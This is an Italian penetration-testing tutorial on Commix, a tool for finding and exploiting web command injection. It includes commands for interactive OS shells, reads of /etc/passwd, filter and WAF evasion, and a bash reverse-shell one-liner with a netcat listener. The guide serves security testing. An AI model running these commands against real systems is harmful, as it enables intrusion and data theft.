Commix: Automated Command Injection Exploitation Tool

Commix è un tool automatizzato per identificare ed exploitare vulnerabilità di command injection in applicazioni web. Supporta tecniche blind, time-based e file-based per ottenere RCE durante penetration test.
- Pubblicato il 2026-02-10
- Tempo di lettura: 3 min
Commix è il tool di riferimento per identificare e sfruttare vulnerabilità di command injection nelle web application. Quando un parametro viene passato direttamente a funzioni di sistema senza sanitizzazione, Commix rileva l’injection point e fornisce una shell interattiva sul sistema target. In questa guida impari a usare Commix dalla detection alla post-exploitation.
Cos’è Command Injection #
La command injection si verifica quando input utente viene concatenato a comandi di sistema. Un classico esempio vulnerabile in PHP:
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);Un attaccante può iniettare ;id dopo l’IP per eseguire comandi arbitrari. A differenza di SQL injection che attacca il database, la command injection colpisce direttamente il sistema operativo, rendendo l’impatto potenzialmente devastante.
Installazione e Setup #
Su Kali Linux Commix è preinstallato:
commix --versionPer installazione manuale:
git clone https://github.com/commixproject/commix.git /opt/commix
cd /opt/commix
pip3 install -r requirements.txtL’esecuzione avviene direttamente con Python:
python3 /opt/commix/commix.py --helpDetection Automatica #
Commix testa automaticamente varie tecniche di injection su ogni parametro. La sintassi base richiede solo l’URL con il parametro da testare:
commix --url="http://target.com/ping.php?ip=127.0.0.1"Commix analizza il parametro e tenta diverse tecniche di injection. Quando trova una vulnerabilità, mostra il payload funzionante:
[+] The parameter 'ip' seems injectable via classic command injection technique.
Payload: ;echo RANDOMSTRING$(echo RANDOMSTRING)RANDOMSTRINGOttenere una Shell #
Una volta identificata l’injection, richiedi una pseudo-shell interattiva:
commix --url="http://target.com/ping.php?ip=127.0.0.1" --os-shellLa shell permette di eseguire comandi sul sistema target:
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
os-shell> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinPer comandi singoli senza shell interattiva:
commix --url="http://target.com/ping.php?ip=127.0.0.1" --os-cmd="id"Tecniche di Injection #
Commix implementa multiple tecniche per aggirare diversi tipi di filtri.
Classic - Usa separatori standard come ;, |, &&, || per concatenare comandi.
Time-based (Blind) - Quando l’output non è visibile, rileva l’injection tramite delay controllati con sleep.
Results-based - Quando l’output del comando appare nella response HTTP.
File-based - Scrive l’output su un file accessibile via web quando le altre tecniche falliscono.
Specifica la tecnica da usare:
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=c # Classic
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=t # Time-based
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=f # File-basedParametri POST e Headers #
Commix non è limitato a GET parameters. Per testare form POST:
commix --url="http://target.com/dns.php" --data="domain=example.com"Per injection negli header HTTP (utile quando l’applicazione logga header come User-Agent):
commix --url="http://target.com/log.php" --headers="User-Agent: *"L’asterisco indica a Commix di testare quel punto specifico.
Injection nel cookie:
commix --url="http://target.com/profile.php" --cookie="session=abc; user=*"Bypass Filtri #
Quando l’applicazione implementa filtri basilari, Commix offre tecniche di evasion.
Encoding #
commix --url="http://target.com/?ip=127.0.0.1" --tamper=base64encode
commix --url="http://target.com/?ip=127.0.0.1" --tamper=hexencodeLevel di Testing #
Aumentando il level, Commix testa payload più aggressivi:
commix --url="http://target.com/?ip=127.0.0.1" --level=3Level 1 è il default, level 3 include test su tutti gli header HTTP.
Caratteri Alternativi #
Quando spazi o caratteri specifici sono filtrati, esistono bypass classici. Ad esempio, invece di spazi puoi usare $IFS in sistemi Unix:
cat$IFS/etc/passwd # Equivalente a: cat /etc/passwdCommix tenta automaticamente molte di queste variazioni.
Integrazione con Altri Tool #
Burp Suite #
Esporta una request da Burp Suite e usala con Commix:
commix -r request.txt --os-shellIl file request.txt contiene la richiesta HTTP completa catturata da Burp.
Passa il traffico attraverso Burp per analisi:
commix --url="http://target.com/?ip=127.0.0.1" --proxy="http://127.0.0.1:8080"Reverse Shell #
La pseudo-shell di Commix è utile ma limitata. Per una shell completa, inietta una reverse shell:
os-shell> bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'Prepara il listener sulla tua macchina:
nc -lvnp 4444Scenari Pratici #
Scenario 1: Utility di Rete Vulnerabile #
Molte applicazioni web offrono utility come ping, traceroute o nslookup che internamente chiamano comandi di sistema.
Identifica l’injection point:
commix --url="http://target.com/network.php?host=google.com&action=ping" --batchL’opzione --batch usa risposte di default senza richiedere input interattivo.
Scenario 2: File Manager Web #
Applicazioni che manipolano file spesso usano comandi come mv, cp, zip:
commix --url="http://target.com/files.php" --data="filename=test.txt&action=compress"Scenario 3: Blind Injection #
Quando l’output non è visibile, usa time-based:
commix --url="http://target.com/log.php?message=test" --technique=tSe Commix rileva delay anomali, conferma l’injection anche senza output visibile.
Detection Manuale #
Prima di lanciare Commix, un test manuale veloce conferma se il parametro è promettente:
http://target.com/ping.php?ip=127.0.0.1;sleep+5Se la risposta ritarda di 5 secondi, c’è probabilmente command injection. A quel punto Commix automatizza l’exploitation.
Separatori da provare:
;- Terminatore comando Unix|- Pipe||- OR (esegue se il primo fallisce)&&- AND (esegue se il primo ha successo)%0a- Newline URL-encoded
Limiti e Considerazioni #
Commix è potente ma non infallibile. Alcuni scenari richiedono approcci manuali:
Filtri complessi - WAF sofisticati potrebbero richiedere bypass custom non coperti dai tamper script.
Injection in posizioni non standard - Se l’injection è in un XML, JSON complesso, o formato custom, Commix potrebbe non gestirlo correttamente.
Timeout network - Per blind injection su connessioni lente, aumenta il timeout con --timeout=30.
FAQ #
Commix vs test manuale?
Commix automatizza e velocizza, ma un test manuale iniziale aiuta a capire il contesto. Usali insieme.
Funziona su Windows?
Sì, Commix rileva automaticamente l’OS target e adatta i payload. I separatori Windows (&, |) sono diversi da Unix.
Come gestisco autenticazione?
Usa --cookie per sessioni attive o --auth-type e --auth-cred per HTTP Basic/Digest.
È rilevabile dai WAF?
Sì, i payload standard sono noti. Usa tamper scripts e tecniche time-based per essere meno rumoroso.
È legale usare Commix?
Solo su applicazioni autorizzate. Per penetration test web professionali, hackita.it/servizi.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.
Risorse: Commix GitHub | OWASP Command Injection







